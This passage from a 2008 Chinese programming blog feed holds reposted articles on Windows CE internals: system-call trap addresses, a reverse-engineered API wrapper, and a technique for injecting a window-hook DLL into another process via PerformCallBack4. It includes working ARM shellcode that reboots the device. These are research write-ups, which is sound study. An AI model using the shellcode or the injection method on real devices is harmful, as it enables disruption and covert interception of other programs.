%08X\n",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;j,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;l_pMethod,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;l_dwSign);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}//for(int i = 0; i &lt; NUM_SYSTEM_SETS; i++)<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;__except(1)<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fprintf(fp, "Exception in DumpApis\n");<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;if(l_dwOldPermissions)<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SetProcPermissions(l_dwOldPermissions);<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;fclose(fp);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br>}<br><br>来看一下此程序输出的片断：<br><br>APIset: 00&nbsp;&nbsp; acName: Wn32&nbsp;&nbsp; disp: 3&nbsp;&nbsp; type: 0&nbsp;&nbsp; cMethods: 185&nbsp;&nbsp; ppfnMethods: 8004B138&nbsp;&nbsp; pdwSig: 00000000&nbsp;&nbsp; pServer: 00000000 <br>&nbsp;&nbsp;meth #&nbsp;&nbsp;0: 8006C83C sign 00000000<br>&nbsp;&nbsp;meth #&nbsp;&nbsp;1: 8006C844 sign 00000000<br>&nbsp;&nbsp;meth #&nbsp;&nbsp;2: 800804C4 sign 00000000<br>&nbsp;&nbsp;meth #&nbsp;&nbsp;3: 8006BF20 sign 00000000<br>&nbsp;&nbsp;meth #&nbsp;&nbsp;4: 8006BF94 sign 00000000<br>&nbsp;&nbsp;meth #&nbsp;&nbsp;5: 8006BFEC sign 00000000<br>&nbsp;&nbsp;meth #&nbsp;&nbsp;6: 8006C0A0 sign 00000000<br>&nbsp;&nbsp;meth #&nbsp;&nbsp;7: 8008383C sign 00000000<br>&nbsp;&nbsp;meth #&nbsp;&nbsp;8: 80068FC8 sign 00000000<br>&nbsp;&nbsp;meth #&nbsp;&nbsp;9: 800694B0 sign 00000000<br>&nbsp;&nbsp;meth # 10: 8006968C sign 00000000<br>...<br><br>这
是最开始的一个APIset，它的ppfnMethods是0x8004B138，cMethods是185，根据这两个数据得到185个地址，这些地址
实际上就是内核系统调用的实现地址。它们的索引相对PRIVATE\WINCEOS\COREOS\NK\KERNEL\kwin32.h里的
Win32Methods数组：<br><br>const PFNVOID Win32Methods[] = {<br>&nbsp;&nbsp;&nbsp;&nbsp;(PFNVOID)SC_Nop,<br>&nbsp;&nbsp;&nbsp;&nbsp;(PFNVOID)SC_NotSupported,<br>&nbsp;&nbsp;&nbsp;&nbsp;(PFNVOID)SC_CreateAPISet,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //&nbsp;&nbsp;2<br>&nbsp;&nbsp;&nbsp;&nbsp;(PFNVOID)EXT_VirtualAlloc,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;&nbsp;3<br>&nbsp;&nbsp;&nbsp;&nbsp;(PFNVOID)EXT_VirtualFree,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //&nbsp;&nbsp;4<br>&nbsp;&nbsp;&nbsp;&nbsp;(PFNVOID)EXT_VirtualProtect,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;&nbsp;5<br>&nbsp;&nbsp;&nbsp;&nbsp;(PFNVOID)EXT_VirtualQuery,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;&nbsp;6<br>&nbsp;&nbsp;&nbsp;&nbsp;(PFNVOID)SC_VirtualCopy,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;&nbsp;7<br>&nbsp;&nbsp;&nbsp;&nbsp;(PFNVOID)SC_LoadLibraryW,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //&nbsp;&nbsp;8<br>&nbsp;&nbsp;&nbsp;&nbsp;(PFNVOID)SC_FreeLibrary,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;&nbsp;9<br>&nbsp;&nbsp;&nbsp;&nbsp;(PFNVOID)SC_GetProcAddressW,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 10<br>...<br>&nbsp;&nbsp;&nbsp;&nbsp;(PFNVOID)SC_InterruptMask,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 184<br>};<br><br><br>--[ 3 - Windows CE的系统调用<br><br>Windows
CE没有使用ARM处理器的SWI指令来实现系统调用，SWI指令在Windows CE里是空的，就简单的执行了"movs
pc,lr"（详见armtrap.s关于SWIHandler的实现）。Windows CE的系统调用使用了0xf0000000 -
0xf0010000的地址，当系统执行这些地址的时候将会触发异常，产生一个PrefetchAbort的trap。在PrefetchAbort的实
现里（详见armtrap.s）首先会检查异常地址是否在系统调用trap区，如果不是，那么执行ProcessPrefAbort，否则执行
ObjectCall查找API地址来分派。<br><br>通过APIset和其API的索引可以算出系统调用地址，其公式
是：0xf0010000-(256*apiset+apinr)*4。比如对于SC_CreateAPISet的系统调用可以这样算出
来：0xf0010000-(256*0+2)*4=0xF000FFF8。<br><br><br>--[ 4 - coredll.dll对API的包裹<br><br>选择一个没有参数的SetCleanRebootFlag()进行分析，IDAPro对其的反汇编如下：<br><br>.text:01F74F70&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EXPORT SetCleanRebootFlag<br>.text:01F74F70 SetCleanRebootFlag<br>.text:01F74F70&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; STMFD&nbsp;&nbsp; SP!, {R4,R5,LR}<br>.text:01F74F74&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LDR&nbsp;&nbsp;&nbsp;&nbsp; R5, =0xFFFFC800<br>.text:01F74F78&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LDR&nbsp;&nbsp;&nbsp;&nbsp; R4, =unk_1FC6760<br>.text:01F74F7C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LDR&nbsp;&nbsp;&nbsp;&nbsp; R0, [R5]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;; (2FF00-0x14) -&gt; 1<br>.text:01F74F80&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LDR&nbsp;&nbsp;&nbsp;&nbsp; R1, [R0,#-0x14]<br>.text:01F74F84&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TST&nbsp;&nbsp;&nbsp;&nbsp; R1, #1<br>.text:01F74F88&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LDRNE&nbsp;&nbsp; R0, [R4]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;; 8004B138 ppfnMethods<br>.text:01F74F8C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CMPNE&nbsp;&nbsp; R0, #0<br>.text:01F74F90&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LDRNE&nbsp;&nbsp; R1, [R0,#0x134]<br>.text:01F74F94&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LDREQ&nbsp;&nbsp; R1, =0xF000FECC<br>.text:01F74F98&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MOV&nbsp;&nbsp;&nbsp;&nbsp; LR, PC<br>.text:01F74F9C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MOV&nbsp;&nbsp;&nbsp;&nbsp; PC, R1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;; 80062AAC SC_SetCleanRebootFlag<br>.text:01F74FA0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LDR&nbsp;&nbsp;&nbsp;&nbsp; R3, [R5]<br>.text:01F74FA4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LDR&nbsp;&nbsp;&nbsp;&nbsp; R0, [R3,#-0x14]<br>.text:01F74FA8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TST&nbsp;&nbsp;&nbsp;&nbsp; R0, #1<br>.text:01F74FAC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LDRNE&nbsp;&nbsp; R0, [R4]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;; 8004B138 ppfnMethods<br>.text:01F74FB0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CMPNE&nbsp;&nbsp; R0, #0<br>.text:01F74FB4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LDRNE&nbsp;&nbsp; R0, [R0,#0x25C]<br>.text:01F74FB8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MOVNE&nbsp;&nbsp; LR, PC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;; 800810EC SC_KillThreadIfNeeded<br>.text:01F74FBC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MOVNE&nbsp;&nbsp; PC, R0<br>.text:01F74FC0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LDMFD&nbsp;&nbsp; SP!, {R4,R5,PC}<br>.text:01F74FC0 ; End of function SetCleanRebootFlag<br><br>写一个包含SetCleanRebootFlag()函数的小程序用EVC进行跟踪调试，按F11进入该函数以后，程序首先取KDataStruct的lpvTls成员，然后取lpvTls偏移-0x14的内容，测试该内容是否是1。<br><br>得先来了解一下lpvTls偏移-0x14的数据是什么。先看PUBLIC\COMMON\OAK\INC\pkfuncs.h里的几个定义：<br><br>#define CURTLSPTR_OFFSET 0x000<br>#define UTlsPtr() (*(LPDWORD *)(PUserKData+CURTLSPTR_OFFSET))<br>#define PRETLS_THRDINFO&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; -5&nbsp;&nbsp; // current thread''s information (bit fields, only bit 0 used for now)<br><br>#define UTLS_INKMODE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x00000001&nbsp;&nbsp;// bit 1 set if in kmode<br><br>看来lpvTls偏移-0x14保存的是当前线程信息，只有第0比特被使用。再来看PRIVATE\WINCEOS\COREOS\NK\KERNEL\ARM\mdram.c里的MDCreateMainThread2函数：<br><br>...<br>&nbsp;&nbsp;&nbsp;&nbsp;if (kmode || bAllKMode) {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pTh-&gt;ctx.Psr = KERNEL_MODE;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;KTHRDINFO (pTh) |= UTLS_INKMODE;<br>&nbsp;&nbsp;&nbsp;&nbsp;} else {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pTh-&gt;ctx.Psr = USER_MODE;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;KTHRDINFO (pTh) &amp;= ~UTLS_INKMODE;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>...<br><br>KTHRDINFO (pTh)在PRIVATE\WINCEOS\COREOS\NK\INC\kernel.h里定义：<br><br>#define KTHRDINFO(pth)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((pth)-&gt;tlsPtr[PRETLS_THRDINFO])<br><br>它就是lpvTls偏移-0x14。也就是说系统在创建主线程的时候，根据程序当前的模式来设置KTHRDINFO的值，如果是内核模式，那么是1，否则是0。<br><br>回
到coredll.dll中SetCleanRebootFlag的实现，这时可以知道判断lpvTls偏移-0x14的内容是为了检查当前是否内核模
式。由于Pocket PC ROM编译时使用了Enable Full Kernel
Mode选项，所以程序都是以内核模式运行。于是接着调试时可以看到取0x1FC6760的内容，取出来后，R0的值时0x8004B138，这个值正好
是DumpApis程序输出的第一个APIset的ppfnMethods。接下来执行：<br><br>.text:01F74F90&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LDRNE&nbsp;&nbsp; R1, [R0,#0x134]<br>.text:01F74F94&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LDREQ&nbsp;&nbsp; R1, =0xF000FECC<br><br>由
于程序是内核模式，所以前一条指令成功取出值，后一条无效。这时R1的值是0x80062AAC，和DumpApis程序输出的一个地址匹配，根据索引，
发现这个地址是SC_SetCleanRebootFlag在内核中的实现。其实索引也可以根据这条指令的偏移来取：0x134/4=0x4D(77)，
根据kwin32.h里Win32Methods的索引直接就对应出SC_SetCleanRebootFlag。内核模式的话，后面还会执行
SC_KillThreadIfNeeded。<br><br>如果是用户模式的话，系统会执行0xF000FECC这个地址，这显然是一个系统调用
trap地址。根据上面的公式算出索引值：(0xf0010000-0xF000FECC)/4=0x4D(77)，根据kwin32.h里
Win32Methods的索引也对应出这是SC_SetCleanRebootFlag。<br><br>通过分析coredll.dll对API包裹的实现，可以发现Windows CE在调用一部分API的时候会先判断程序是否处于内核模式，如果是，那么不用系统调用方式，直接奔内核实现地址去了，否则就老老实实的用系统调用地址。<br><br><br>--[ 5 - 用系统调用实现shellcode<br><br>系
统调用地址相对固定，可以通过索引算出它的trap地址，而且搜索coredll.dll里API地址的方法在用户态是无法实现的，因为模块链表是在内核
空间，用户态无法访问。下面就是用系统调用实现的简单shellcode，它的作用是软重启系统，我想对于smartphone的系统应该也是可用
（smartphone的ROM在编译时没有用Enable Full Kernel Mode选项）。<br><br>#include "stdafx.h"<br><br>int shellcode[] =<br>{<br>0xE59F0014, // ldr r0, [pc, #20]<br>0xE59F4014, // ldr r4, [pc, #20]<br>0xE3A01000, // mov r1, #0<br>0xE3A02000, // mov r2, #0<br>0xE3A03000, // mov r3, #0<br>0xE1A0E00F, // mov lr, pc<br>0xE1A0F004, // mov pc, r4<br>0x0101003C, // IOCTL_HAL_REBOOT<br>0xF000FE74, // trap address of KernelIoControl<br>};<br><br>int WINAPI WinMain( HINSTANCE hInstance,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;HINSTANCE hPrevInstance,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LPTSTR&nbsp;&nbsp;&nbsp;&nbsp;lpCmdLine,<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nCmdShow)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;((void (*)(void)) &amp; shellcode)();<br><br>&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br>}<br><br><br>--[ 6 - 小结<br><br>通过本文可以了解到Windows CE API机制的大概轮廓，对于系统调用的具体流程，也就是trap后的具体流程还不是很清晰，本文也就一块破砖头，希望能砸到几个人，可以一起讨论；）<br>文中如有错误还望不吝赐教，希望Xcon''05见。<br><br><br>--[ 7 - 感谢<br><br>非常感谢Nasiry对我的帮助，在他的帮助下才得以完成此文。<img src ="http://www.cppblog.com/zjj2816/aggbug/58841.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/zjj2816/" target="_blank">井泉</a> 2008-08-14 15:36 <a href="http://www.cppblog.com/zjj2816/archive/2008/08/14/58841.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>【转帖】Windwos CE 跨进程内存注入（PocketPC）</title><link>http://www.cppblog.com/zjj2816/archive/2008/08/14/58806.html</link><dc:creator>井泉</dc:creator><author>井泉</author><pubDate>Thu, 14 Aug 2008 01:29:00 GMT</pubDate><guid>http://www.cppblog.com/zjj2816/archive/2008/08/14/58806.html</guid><wfw:comment>http://www.cppblog.com/zjj2816/comments/58806.html</wfw:comment><comments>http://www.cppblog.com/zjj2816/archive/2008/08/14/58806.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/zjj2816/comments/commentRss/58806.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/zjj2816/services/trackbacks/58806.html</trackback:ping><description><![CDATA[近日，由于程序设计需要，我对WincowsCE 的<a  href="http://www.yonsm.net/YJWX/ShowClass.asp?ClassID=182" target="_blank" class="channel_keylink">内存</a>布局进行了研究，由于发现国内在这方面的文档资料较少，于是在研究告一段落之际，形成这篇示例文档，以望抛砖引玉，得到别的高手的指正。<br><br>　　<strong>一、程序实现的先决条件</strong><br><br>　　由于windows系统的窗体消息总是投递至一个特定进程的指定窗体消息函数中。于是在本地进程（自己的应用程序）中取得属于其它进程的窗体的消息必须实现以下两个部分：<br><br>　　1、将需要挂接窗体的代码放到目标进程的地址空间中去。<br><br>　　2、执行这一段代码，并获得目标进程窗体的消息。<br><br>　　这两步看起来很简单，但在实现过程中就比较困难。由于Windows CE作为嵌入式移动设备<a  href="http://www.yonsm.net/CZXT/Index.asp" target="_blank" class="channel_keylink">操作系统</a>，与windows 98/2000/XP等桌面<a  href="http://www.yonsm.net/CZXT/Index.asp" target="_blank" class="channel_keylink">操作系统</a>在
内核的设计理念以及API的支持上有极大的区别。这就直接导致了常规的桌面系统利用全局鼠标钩子注入/远程线程注入等方法在CE中完全得不通。不过可喜的
是，微软在开发工具中提供的remotexxx等远程调试程序使我清楚这个目标并不是不可能的任务，微软既然可以做到，那就是说在CE的内部一定有一套完
整的跨进程<a  href="http://www.yonsm.net/YJWX/ShowClass.asp?ClassID=182" target="_blank" class="channel_keylink">内存</a>访问/代码注入的机制。<br><br>　　<strong>二、程序实现的基本原理</strong><br><br>
经过两天的google
搜索，在网上我发现了一个没有在微软文档中声明的有趣的API函数：PerformCallBack4，传说中这个函数可以在自己的应用程序中执行指定的
进程中的一个函数，So Cool!这好象正是我所需要的东西。虽然网上也传闻这个函数在wm5不受支持，其实经过实践这个传闻只是谣传而已！<br><br>　　PerformCallBack4函数的定义：<a name="entrymore"></a><br><br>[DllImport("coredll.dll")]<br>public static extern uint PerformCallBack4(ref CallBackInfo CallBackInfo,<br>IntPtr ni_pVoid1,IntPtr ni_pVoid2,IntPtr ni_pVoid3);<br><br>　　其中函数的参数CallBackInfo结构定义:<br><br>[StructLayout(LayoutKind.Sequential)]<br>public struct CallBackInfo<br>{<br>public IntPtr hProc; //远程的目标进程<br>public IntPtr pfn; //指向远程目标进程的函数地址的指针<br>public IntPtr pvArg0; //函数的需要的第一个参数<br>}//end struct<br><br>　　而PerformCallback4的 ni_pVoid1、ni_pVoid2、ni_pVoid3为传递到远程目标进程执行函数的其它三个参数。<br><br>　　至于将代码放到目标进程的<a  href="http://www.yonsm.net/YJWX/ShowClass.asp?ClassID=182" target="_blank" class="channel_keylink">内存</a>空间，我们可以利用CE设计上的一个特性：<br><br>　　1、为了节约<a  href="http://www.yonsm.net/YJWX/ShowClass.asp?ClassID=182" target="_blank" class="channel_keylink">内存</a>使用，CE将所有程序调用的动态链接库（DLL）都映射到同一个<a  href="http://www.yonsm.net/YJWX/ShowClass.asp?ClassID=182" target="_blank" class="channel_keylink">内存</a>地址中。<br><br>　　2、CE的<a  href="http://www.yonsm.net/YJWX/ShowClass.asp?ClassID=182" target="_blank" class="channel_keylink">内存</a>布局中划分有一个slot0的<a  href="http://www.yonsm.net/YJWX/ShowClass.asp?ClassID=182" target="_blank" class="channel_keylink">内存</a>位置，这个<a  href="http://www.yonsm.net/YJWX/ShowClass.asp?ClassID=182" target="_blank" class="channel_keylink">内存</a>位置是由正在执行的进程所占有的，每一个特定的时间片，只能有一个进程可以占有这个<a  href="http://www.yonsm.net/YJWX/ShowClass.asp?ClassID=182" target="_blank" class="channel_keylink">内存</a>空
间。在进程要求执行时，系统并不直接执行进程所处内存位置的代码，而是将该进程的执行代码复制到slot0的内存位置中产生一个副本执行。也就是说进程在
执行时内存将会有进程执行代码的两个完全一样的版本：存在于slot0中正在执行的进程代码和进程本身所处的内存中的代码。<br><br>　　在这个特
性下，可以得到结论：如果进程A通过LoadLibrary函数装载Test.dll，而进程B也通过LoadLibrary函数装载同一个
Test.dll，这个Test.dll的所有函数在进程A和进程B中执行时，相对于slot0中的进程执行代码都会得到同一地址。<br><br>
3、在CE中，系统在内存中划分出33个slot，slot0保留给正在执行的进程，然后在进程启动时将所有的代码放到除slot0以外的一个slot中
（这就是臭名昭著的CE系统中内存最多只能有不多于32个程序执行的限制的来由）。在进程执行时，每个应用程序的内存访问默认只能访问slot0内存空间
中的地址以及进程所处的slot内存空间的地址。
但为使设备驱动程序可以访问到它们所需的其它应用程序数据，CE提供了两个函数以打破这个限制，SetKmode和
SetProcPermission，SetKmode函数告诉系统，当前运行的进程是否需要在内核模式中执行；SetProcPermission函数
可以接受一个位掩码，每一位代码一个slot的访问控制，1代表可以访问该slot的内存内容。0表示不能访问该slot的内存内容。这两个函数在
msdn中有帮助文档，可参阅msdn的文档说明。<br><br>　　本文我们对实现的原理进行了剖析，在下一篇文章中我们将以一个小示例程序演示实现的全过程。 <br><br><hr>
<p><br>在文章《浅析Windows CE跨进程内存注入实现窗体消息挂接（上）》中，我们已经得到了这个七巧板游戏所需要的所有小板块，剩下的事就是等待我们按一定顺序将合适的板块放到合适的位置，本章我们开始进行真刀真枪的实战演练。</p>
<p>程序目标：捕获explore窗体（也就是程序窗体的消息并输出到WinProcInfo.txt中）</p>
<p>程序的执行步骤设计如下：</p>
<p>1、编写一个窗体消息挂接DLL，这个DLL提供一个，函数中利用setwindowlong函数将窗体的默认消息处理过程改为这个挂接DLL中定义的一个窗体过程。</p>
<p>2、在C#程序中利用findwindow等API函数获得exlore类窗体的句柄及窗体所属的进程，并使用performcallback4在目标进程空间中执行coredll.dll的loadLibrary函数将我们写的挂接dll放到目标进程中。</p>
<p>3、在C#程序中使用performcallback4在目标进程空间中执行挂接DLL提供的导出接口函数实现跨进程窗体消息截获.</p>
<p><strong>一、程序的实现如下：</strong></p>
<p>在VS2005中建立一个智能设备的MFC DLL，命名为HookWindowsProcMFCDLL。</p>
<p>在HookWindowsProcMFCDLL.cpp中进行挂接DLL的核心编码： </p>
<table border="0" width="80%">
    <tbody>
        <tr>
            <td class="content" bgcolor="#cccccc">
            <p>LRESULT CALLBACK fnHookWindowProc(HWND hwnd,UINT msg,WPARAM wparam, LPARAM lparam);</p>
            <p>int __declspec(dllexport) WINAPI fnAttachWinProc(HWND ni_hAttatchWin,PVOID ,PVOID,PVOID);</p>
            <p>int __declspec(dllexport) WINAPI fnDetachWinMsgProc(HWND ni_hDetachWin);</p>
            <p>WNDPROC tpOldWindowProc; </p>
            <p>FILE *m_pDebugOutputFile;</p>
            <p>//将一个窗体消息处理挂接到net精简版MessageWindow对象上的代码<br>typedef struct<br>{ <br>　WNDPROC OldWinProc;//保留窗体原始消息处理过程的函数指针<br>　HWND WindowHandle;//保存net精简版中对应的窗口挂接的MessageWindow对象的句柄<br>} DEFUDT_AttachWinInfo; //end struct</p>
            <p>CMap&lt;HWND,HWND,DEFUDT_AttachWinInfo,DEFUDT_AttachWinInfo&gt; m_aAttachWinInfoMap;</p>
